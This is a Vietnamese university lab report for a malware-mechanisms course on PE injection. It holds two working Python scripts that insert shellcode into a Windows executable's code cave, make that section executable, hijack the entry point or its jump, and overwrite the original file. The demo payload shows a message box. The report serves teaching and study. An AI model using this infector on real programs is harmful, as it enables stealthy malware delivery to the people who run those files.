BÁO CÁO BÀI TẬP

**Môn học: Cơ chế mã độc**

**Tên chủ đề: PE injection**

*GVHD: Phạm Văn Hậu – Phan Thế Duy*

1. **THÔNG TIN CHUNG:**

*(Liệt kê tất cả các thành viên trong nhóm)*

Lớp: NT230.N21.ANTN

|  |  |  |  |
| --- | --- | --- | --- |
| **STT** | **Họ và tên** | **MSSV** | **Email** |
| 1 | Võ Anh Kiệt | 20520605 | 20520605@gm.uit.edu.vn |
| 2 | Nguyễn Bùi Kim Ngân | 20520648 | 20520648@gm.uit.edu.vn |
| 3 | Nguyễn Bình Thục Trâm | 20520815 | 20520815@gm.uit.edu.vn |

1. **NỘI DUNG THỰC HIỆN:[[1]](#footnote-1)**

|  |  |  |
| --- | --- | --- |
| **STT** | **Công việc** | **Kết quả tự đánh giá** |
| 1 | Yêu cầu 1 | 100% |
| 2 | Yêu cầu 2 | 0% |
| 3 | Yêu cầu 3 | 50% |

**Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.**

BÁO CÁO CHI TIẾT

Link video demo: <https://youtu.be/6KAxmcLKWWk>

Các bước thực hiện/ Phương pháp thực hiện/Nội dung tìm hiểu (Ảnh chụp màn hình, có giải thích)

1. **Yêu cầu 1:**

Trong yêu cầu 1, nhóm em đã sử dụng thư viện pefile của Python để truyền payload vào infect chương trình.

Về mặt ý tưởng, nhóm sẽ duyệt qua các bytes đã có và tìm ra vùng trống đủ để chèn được payload. Mặt khác, payload sẽ có hint = 0x90 \* 4 lần, vậy nên khi duyệt cũng sẽ kiểm tra, nếu chương trình đã bị infected thì sẽ không tấn công nữa. Cụ thể cách làm chúng em đã chú thích đầy đủ trong phần code đính kèm.

import pefile

import argparse

import sys

shellcode = bytes(

b""

b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"

b"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"

b"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"

b"\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"

b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"

b"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"

b"\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"

b"\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"

b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"

b"\x61\xc3\xb2\x04\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"

b"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\x68\x6c"

b"\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72"

b"\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89"

b"\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x70"

b"\xff\xff\xff\x68\x33\x30\x20\x20\x68\x20\x4e\x54\x32"

b"\x68\x6e\x20\x62\x79\x68\x63\x74\x69\x6f\x68\x49\x6e"

b"\x66\x65\x31\xdb\x88\x5c\x24\x1c\x89\xe3\x68\x30\x35"

b"\x58\x20\x68\x35\x32\x30\x36\x68\x38\x5f\x32\x30\x68"

b"\x32\x30\x36\x34\x68\x5f\x32\x30\x35\x68\x30\x38\x31"

b"\x35\x68\x32\x30\x35\x32\x30\xc9\x88\x4c\x24\x1a\x89"

b"\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x90"

)

# Check PE file đã từng bị tấn công chưa

# Tìm 1 vùng đủ lớn để có thể chèn shellcode vào chương trình

# Trả về giá trị new Entry Point và new Raw Offset

def findEmptySpace(shellcodeSize: int):

    global pe

    # Đọc file

    filedata = open(file, "rb")

    print("Empty size: " + str(shellcodeSize) + " bytes")

    # Lấy giá trị Image Base

    imageBaseHex = int('0x{:08x}'.format(pe.OPTIONAL\_HEADER.ImageBase), 16)

    # Dò từng sec của file PE để tìm vùng nhớ đủ lớn chèn payload

    hint = 0

    for sec in pe.sections:

        # Nếu kích thước của section trên disk != 0

        if (sec.SizeOfRawData != 0):

            # position là điểm bắt đầu

            position = 0

            # count để đếm số bytes còn sống

            count = 0

            filedata.seek(sec.PointerToRawData, 0)

            # Duyệt qua các bytes trong section, nếu bytes trống thì + count lên

            data = filedata.read(sec.SizeOfRawData)

            for byte in data:

                position += 1

                if (byte == 0x90):

                    hint += 1

                else:

                    hint = 0

                if (hint < 4):

                    if (byte == 0x00):

                        count += 1

                    # Nếu bytes không trống => Vùng trống liên tiếp kết thúc

                    else:

                        # => Kiểm tra xem vùng nhớ vừa rồi có đủ để bỏ payload không

                        if count > shellcodeSize:

                            # Nếu có thì return ra giá trị Entry point mới

                            raw\_addr = sec.PointerToRawData + position - count - 1

                            vir\_addr = imageBaseHex + sec.VirtualAddress + position - count - 1

                            #Cấp quyền write | Execute cho vùng nhớ này để chạy payload

                            sec.Characteristics = 0xE0000040

                            # Raw\_addr là thứ tự bytes trên file, vir\_addr là địa chỉ ảo trên RAM

                            return vir\_addr, raw\_addr

                        count = 0

                else:

                    filedata.close()

                    sys.exit("This file already infected")

    filedata.close()

# Build phần input từ console; --file/-fi để nhập file cần tấn công

parser = argparse.ArgumentParser()

parser.add\_argument('--file','-fi', dest='file')

args = parser.parse\_args()

# Main

# Load file do người dùng nhập

file = args.file # File gốc

newFile = args.file # File để tấn công

# Chuyển thành PE object để tương tác bytes

pe = pefile.PE(file)

# Lấy giá trị image base

imageBase = pe.OPTIONAL\_HEADER.ImageBase

# Thử tìm vùng trống, không có thì không tấn công được.

try:

    newEntryPoint, newRawOffset = findEmptySpace((4 + len(shellcode)) + 10)

except Exception as error:

    sys.exit(error)

# Lấy Entry Point ban đầu của chương trình

origEntryPoint = (pe.OPTIONAL\_HEADER.AddressOfEntryPoint)

# Gán lại Entry Point

pe.OPTIONAL\_HEADER.AddressOfEntryPoint = newEntryPoint - imageBase

# Giá trị nhảy về sau khi chạy payload xong.

returnAddress = (origEntryPoint + imageBase).to\_bytes(4, 'little')

#print((returnAddress))

# Thêm giá trị nhảy về (entry point đầu tiên) vào payload vào eax

shellcode += (b"\xB8" + returnAddress)

paddingBytes = b""

# Padding vào sau shellcode

if len(shellcode) % 4 != 0:

    paddingBytes = b"\x90" \* 10

    shellcode += paddingBytes

# move shellcode vào eax

shellcode += (b"\xFF\xD0")

# Pading vào trước shellcode để làm hint

shellcode = b"\x90\x90\x90\x90" + shellcode

# Add shellcode vào chương trình

pe.set\_bytes\_at\_offset(newRawOffset, shellcode)

# Save and close files

pe.write(newFile)

pe.close()

print("\n")

1. **Yêu cầu 3:**

Trong phần này, tụi em đã tìm hiểu kĩ thuật Hijacking và áp dụng thành công tấn công file Test.exe. Trong file này, tụi em đã dùng Odbg201h để tìm được địa chỉ mà entry point của file thực thi nhảy đến để thực thi chương trình, sau đó tụi em thay đổi địa chỉ nhảy này thành địa chỉ shellcode và truyền shellcode xong thì quay về thực thi chương trình.

Trong cuộc tấn công này tụi em lợi dụng lệnh jump tại entry point để thực hiện tấn công, vì đã có lệnh jump sẵn nên ta chỉ thay đổi địa chỉ jump chứ không cần thay đổi entry point.

Cụ thể cách làm tụi em đã chú thích trong phần code.

import pefile

import argparse

import sys

shellcode = bytes(

b""

b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"

b"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"

b"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"

b"\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"

b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"

b"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"

b"\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"

b"\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"

b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"

b"\x61\xc3\xb2\x04\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"

b"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\x68\x6c"

b"\x6c\x20\x41\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72"

b"\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55\x04\x89"

b"\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8\x70"

b"\xff\xff\xff\x68\x33\x30\x20\x20\x68\x20\x4e\x54\x32"

b"\x68\x6e\x20\x62\x79\x68\x63\x74\x69\x6f\x68\x49\x6e"

b"\x66\x65\x31\xdb\x88\x5c\x24\x1c\x89\xe3\x68\x30\x35"

b"\x58\x20\x68\x35\x32\x30\x36\x68\x38\x5f\x32\x30\x68"

b"\x32\x30\x36\x34\x68\x5f\x32\x30\x35\x68\x30\x38\x31"

b"\x35\x68\x32\x30\x35\x32\x30\xc9\x88\x4c\x24\x1a\x89"

b"\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x90"

)

# Check PE file đã từng bị tấn công chưa

# Tìm 1 vùng đủ lớn để có thể chèn shellcode vào chương trình

# Trả về giá trị new Entry Point và new Raw Offset

def findEmptySpace(shellcodeSize: int):

    global pe

    # Đọc file

    filedata = open(file, "rb")

    print("Empty size: " + str(shellcodeSize) + " bytes")

    # Lấy giá trị Image Base

    imageBaseHex = int('0x{:08x}'.format(pe.OPTIONAL\_HEADER.ImageBase), 16)

    # Dò từng sec của file PE để tìm vùng nhớ đủ lớn chèn payload

    hint = 0

    for sec in pe.sections:

        # Nếu kích thước của section trên disk != 0

        if (sec.SizeOfRawData != 0):

            # position là điểm bắt đầu

            position = 0

            # count để đếm số bytes còn sống

            count = 0

            filedata.seek(sec.PointerToRawData, 0)

            # Duyệt qua các bytes trong section, nếu bytes trống thì + count lên

            data = filedata.read(sec.SizeOfRawData)

            for byte in data:

                position += 1

                if (byte == 0x90):

                    hint += 1

                else:

                    hint = 0

                if (hint < 4):

                    if (byte == 0x00):

                        count += 1

                    # Nếu bytes không trống => Vùng trống liên tiếp kết thúc

                    else:

                        # => Kiểm tra xem vùng nhớ vừa rồi có đủ để bỏ payload không

                        if count > shellcodeSize:

                            # Nếu có thì return ra giá trị Entry point mới

                            raw\_addr = sec.PointerToRawData + position - count - 1

                            vir\_addr = imageBaseHex + sec.VirtualAddress + position - count - 1

                            #Cấp quyền write | Execute cho vùng nhớ này để chạy payload

                            sec.Characteristics = 0xE0000040

                            # Raw\_addr là thứ tự bytes trên file, vir\_addr là địa chỉ ảo trên RAM

                            return vir\_addr, raw\_addr

                        count = 0

                else:

                    filedata.close()

                    sys.exit("This file already infected")

    filedata.close()

# Build phần input từ console; --file/-fi để nhập file cần tấn công

parser = argparse.ArgumentParser()

parser.add\_argument('--file','-fi', dest='file')

args = parser.parse\_args()

# Main

# Load file do người dùng nhập

file = args.file # File gốc

newFile = args.file # File để tấn công

# Chuyển thành PE object để tương tác bytes

pe = pefile.PE(file)

# Lấy giá trị image base

imageBase = pe.OPTIONAL\_HEADER.ImageBase

# Thử tìm vùng trống, không có thì không tấn công được.

try:

    newEntryPoint, newRawOffset = findEmptySpace((4 + len(shellcode)) + 10)

except Exception as error:

    sys.exit(error)

# Lấy Entry Point ban đầu của chương trình

origEntryPoint = (pe.OPTIONAL\_HEADER.AddressOfEntryPoint)

# Gán lại Entry Point

pe.OPTIONAL\_HEADER.AddressOfEntryPoint = newEntryPoint - imageBase

# Giá trị nhảy về sau khi chạy payload xong = giá trị ban đầu entry point nhảy tới.

returnAddress = (origEntryPoint + imageBase + 18).to\_bytes(4, 'little')

#print((returnAddress))

# Thêm giá trị nhảy về (entry point đầu tiên) vào payload vào eax

shellcode += (b"\xB8" + returnAddress)

paddingBytes = b""

# Padding vào sau shellcode

if len(shellcode) % 4 != 0:

    paddingBytes = b"\x90" \* 10

    shellcode += paddingBytes

# move shellcode vào eax

shellcode += (b"\xFF\xD0")

# Pading vào trước shellcode để làm hint

shellcode = b"\x90\x90\x90\x90" + shellcode

# Add shellcode vào chương trình

pe.set\_bytes\_at\_offset(newRawOffset, shellcode)

# Add shellcode để tại entry point thay vì nhảy đến thực thi thì nhảy đến shellcode

pe.set\_bytes\_at\_offset(1536, b"\xE9\x1A\x53\x01\x00")

# Save and close files

pe.write(newFile)

pe.close()

print("\n")

---

***Sinh viên đọc kỹ yêu cầu trình bày bên dưới trang này***

# **YÊU CẦU CHUNG**

* Sinh viên tìm hiểu và thực hiện bài tập theo yêu cầu, hướng dẫn.
* Nộp báo cáo kết quả chi tiết những việc (**Report**) bạn đã thực hiện, quan sát thấy và kèm ảnh chụp màn hình kết quả (nếu có); giải thích cho quan sát (nếu có).
* Sinh viên báo cáo kết quả thực hiện và nộp bài.

**Báo cáo:**

* File .DOCX và .PDF. Tập trung vào nội dung, không mô tả lý thuyết.
* Nội dung trình bày bằng Font chữ Times New Romans/ hoặc font chữ của mẫu báo cáo này (UTM Neo Sans Intel/UTM Viet Sach)– cỡ chữ 13. Canh đều (Justify) cho văn bản. Canh giữa (Center) cho ảnh chụp.
* Đặt tên theo định dạng: [Mã lớp]-ExeX\_GroupY. (trong đó X là Thứ tự Bài tập, Y là mã số thứ tự nhóm trong danh sách mà GV phụ trách công bố).

*Ví dụ: [*NT101.K11.ANTT*]-Exe01\_Group03.*

* Nếu báo cáo có nhiều file, nén tất cả file vào file .ZIP với cùng tên file báo cáo.
* Không đặt tên đúng định dạng – yêu cầu, sẽ **KHÔNG** chấm điểm bài nộp.
* Nộp file báo cáo trên theo thời gian đã thống nhất tại courses.uit.edu.vn.

**Đánh giá**:

* Hoàn thành tốt yêu cầu được giao.
* Có nội dung mở rộng, ứng dụng.

*Bài sao chép, trễ, … sẽ được xử lý tùy mức độ vi phạm.*

**HẾT**

1. Ghi nội dung công việc, các kịch bản trong bài Thực hành [↑](#footnote-ref-1)